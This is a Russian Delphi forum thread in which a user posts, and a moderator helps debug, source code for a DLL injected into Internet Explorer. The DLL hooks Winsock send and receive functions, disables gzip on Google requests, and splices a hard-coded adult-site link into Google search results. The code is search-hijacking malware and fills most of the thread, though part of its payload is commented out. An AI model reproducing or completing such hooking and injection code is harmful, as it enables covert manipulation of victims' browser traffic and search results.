Модераторы: Snowy, bartram, MetalFan, bems, Poseidon, Riply
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Подмена страницы internet explorer 
:(
    Опции темы
trim2k
Дата 6.5.2007, 17:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 6.5.2007

Репутация: нет
Всего: нет



Вообщем идея такая - внедряем нашу dll в процесс iexplore.exe, затем уже в dll устнавливаем хук на ws2_32.dll на фукции recv, send, WSARecv,WSASend. С внедрением и хуком никаких проблем не возникло. При получение, передачи данных сообщения выодятся. Но буквально через несколько секунд ie виснет и выдаёт сообщение об ошибке. Пробовале с оперой - там всё нормально, а ие вот зараза виснет и всё. Тогда я попробовал поставить вывод messagebox'a в момент установки хука, в результате выводится куча боксов, и браузер уже не виснет. То есть такое чувство что ie захлебывается от процедуры установки хука прослушки. Может кто-то сталкивался с этим? Пожалуйсто помогите, два дня парюсь уже  smile .. Исходник в атаче..

Присоединённый файл ( Кол-во скачиваний: 91 )
Присоединённый файл  sorce.rar 28,18 Kb
PM MAIL   Вверх
MetalFan
Дата 7.5.2007, 07:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Аццкий Сотона
****


Профиль
Группа: Комодератор
Сообщений: 3815
Регистрация: 2.10.2006
Где: Moscow

Репутация: 16
Всего: 128



несколько вопросов по коду)
1)зачем асм вставки? по идее без них тоже должно работать
2)
Код

function NWSASend ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED;
  lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
...
        ReplaceGZIP(lpBuffers.buf, lpBuffers.len);
...
end;
function ReplaceGZIP(lpData: pointer; szData: dword): boolean;
begin
  //szData - размер в БАЙТАХ
  for i:=szData downto 0 do
  begin
    if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E;
    inc(dword(lpData));
  end;
end;

размер в байтах. обращаешься к памяти как к dword'у... в итоге можешь вылететь за пределы буфера
3) накой в ReplaceResult создается нить?
если еще чего замечу....

Это сообщение отредактировал(а) MetalFan - 7.5.2007, 12:02


--------------------
There are always someone smarter than you...
PM MAIL   Вверх
trim2k
Дата 7.5.2007, 13:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 6.5.2007

Репутация: нет
Всего: нет



1)Асм вставки используются для безопасной модификации данных в стеке. В доках  сказано что все модификации надо производить между этими асм вставками..
2) и 3) Проблема не в этом. Даже если закоментить код всё равно работать ничего не будет  smile  smile 
PM MAIL   Вверх
MetalFan
Дата 7.5.2007, 13:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Аццкий Сотона
****


Профиль
Группа: Комодератор
Сообщений: 3815
Регистрация: 2.10.2006
Где: Moscow

Репутация: 16
Всего: 128



даже если закоментить всю твою обработку, а оставить только вызов True фнукций, все равно не работает?


--------------------
There are always someone smarter than you...
PM MAIL   Вверх
trim2k
Дата 7.5.2007, 15:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 6.5.2007

Репутация: нет
Всего: нет



Да, не работает даже так:
Код

library hook_dll;

uses Windows,advApiHook, UrlMon,WinSock2, Messages;

var
count:integer;
start:integer=1;
   _hook: HHOOK = 0;
   thID1: THandle;
i, flag, ThID: dword;
len, a, b, bt: dword;
link: pChar;
szString: PChar = '<div class=g><h2 class=r><a href="http://www.sex.ru/" target="_blank" class="l"<b>Sex</b>.ru </b></a>';

Tsend: function (s: TSocket;
                  Buf: pChar;
                  len, flags:
                  Integer): Integer; stdcall;

Trecv: function (s: TSocket;
                Buf: pChar;
                len, flags:
                Integer): Integer; stdcall;

TWSARecv: function ( s : TSocket;
                    lpBuffers : LPWSABUF;
                    dwBufferCount : DWORD;
                    var lpNumberOfBytesRecvd : DWORD;
                    var lpFlags : DWORD;
                    lpOverlapped : LPWSAOVERLAPPED;
                    lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;

TWSASend: function ( s : TSocket;
                    lpBuffers : LPWSABUF;
                    dwBufferCount : DWORD;
                    var lpNumberOfBytesSent : DWORD;
                    dwFlags : DWORD;
                    lpOverlapped : LPWSAOVERLAPPED;
                    lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;



function ReplaceGZIP(lpData: pointer; szData: dword): boolean;
begin
 { for i:=szData downto 0 do
  begin
    if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E;
    inc(dword(lpData));
  end;  }
end;

function InStr(index: integer; str1: string; str2: pChar): integer;
var
  len, pos: integer;
begin
  pos:=0;
  len:=length(str2);
  for i:=index to length(str1) do begin
    if copy(str1,i,len)=str2 then begin
      pos:=i;
      break;
    end;
  end;
  result:=pos;
end;

function ThreadProc(): dword; stdcall;
begin
    Sleep(6000);
    flag:=0;
    ExitThread(0);
end;

function ReplaceResult(lpData: pChar; szData: dword): boolean;
begin
  {MessageBox(0, 'GOOGLE',
     'Hook DLL', MB_OK); }
{ if flag = 1 then exit;
  a := pos('<div class=g><h2 class=r><a href="', lpData);
  if a=0 then exit;
    len:=0;
    dec(a);
    flag:=1;
    GetMem(link, szData);
    
    MoveMemory(link, lpData, a);
    MoveMemory(pointer(dword(link)+a), szString, length(szString));

    len:=a+length(szString);
    b:=szData-InStr(a, lpData, '.');
    MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</a>')+4), b);

    MoveMemory(lpData, link, szData);

    ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID);
    CloseHandle(ThID);     }
end;

function Nrecv(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
  {   Trecv(s, buf, len, flags);
    asm
      pushad
    end;
      if pos('google', pChar(@Buf)) > 0 then ReplaceResult(pChar(@buf), len);
    asm
      popad
    end;   }
end;

function Nsend(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
  {  asm
      pushad
    end;
      if (pos('Host: www.google.ru', Buf) > 0) or (pos('Host: google.ru', Buf) > 0) then
        ReplaceGZIP(Buf, len);
    asm
      popad
    end;  }
    Tsend(s, buf, len, flags);
end;

function NWSARecv( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesRecvd : DWORD; var lpFlags : DWORD;
  lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
  begin
    TWSARecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);
   { asm
      pushad
    end;
      if pos('google', lpBuffers.buf) > 0 then
      begin
     ReplaceResult(lpBuffers.buf, lpBuffers.len);
      end;
    asm
      popad
    end;   }

end;

function NWSASend ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED;
  lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
 {   asm
      pushad
    end;
      if (pos('Host: www.google.ru', lpBuffers.buf) > 0) or (pos('Host: google.ru', lpBuffers.buf) > 0) then
        ReplaceGZIP(lpBuffers.buf, lpBuffers.len);
    asm
      popad
    end;   }
    TWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
 {MessageBox(0, '1',
     'Hook DLL', MB_OK);}
  case dwReason of
    DLL_PROCESS_ATTACH: begin
    HookProc('ws2_32.dll', 'recv', @Nrecv, @Trecv);
    HookProc('ws2_32.dll', 'send', @Nsend, @Tsend);
    HookProc('ws2_32.dll', 'WSARecv', @NWSARecv, @TWSARecv);
    HookProc('ws2_32.dll', 'WSASend', @NWSASend, @TWSASend);
  end;
    DLL_PROCESS_DETACH: begin
    UnhookCode(@TWSARecv);
    UnhookCode(@Trecv);
    UnhookCode(@TWSASend);
    UnhookCode(@Tsend);
  end;
  end;

end;


function HookProc1(nCode, wParam, lParam: integer): integer stdcall;
begin
     Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
end;

procedure SetHK(hk: HHOOK) stdcall;
begin
     _hook:=hk;
end;

procedure WorkWithNet(thrVar: integer) stdcall;
begin

end;

exports
       HookProc1 name 'HookProc',
       SetHK name 'SetHK';

begin


     if GetModuleHandle(nil)=GetModuleHandle('iexplore.exe') then
     begin
     DllProc := @DLLEntryPoint;
     DLLEntryPoint(DLL_PROCESS_ATTACH);
     end;

end.


Это сообщение отредактировал(а) trim2k - 7.5.2007, 15:02
PM MAIL   Вверх
MetalFan
Дата 7.5.2007, 15:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Аццкий Сотона
****


Профиль
Группа: Комодератор
Сообщений: 3815
Регистрация: 2.10.2006
Где: Moscow

Репутация: 16
Всего: 128



ну прально.... а Result кто будет возвращать?


--------------------
There are always someone smarter than you...
PM MAIL   Вверх
Iton
Дата 1.8.2009, 05:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 1
Регистрация: 31.7.2009

Репутация: нет
Всего: нет



так какже все-таки исправить данный баг? в каждую функцию добавить Result?
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: WinAPI и системное программирование"
Snowybartram
MetalFanbems
PoseidonRrader
Riply

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Delphi обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи
  • 99% ответов по WinAPI можно найти в MSDN Library, оставшиеся 1% здесь

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, bartram, MetalFan, bems, Poseidon, Rrader, Riply.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: WinAPI и системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0473 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.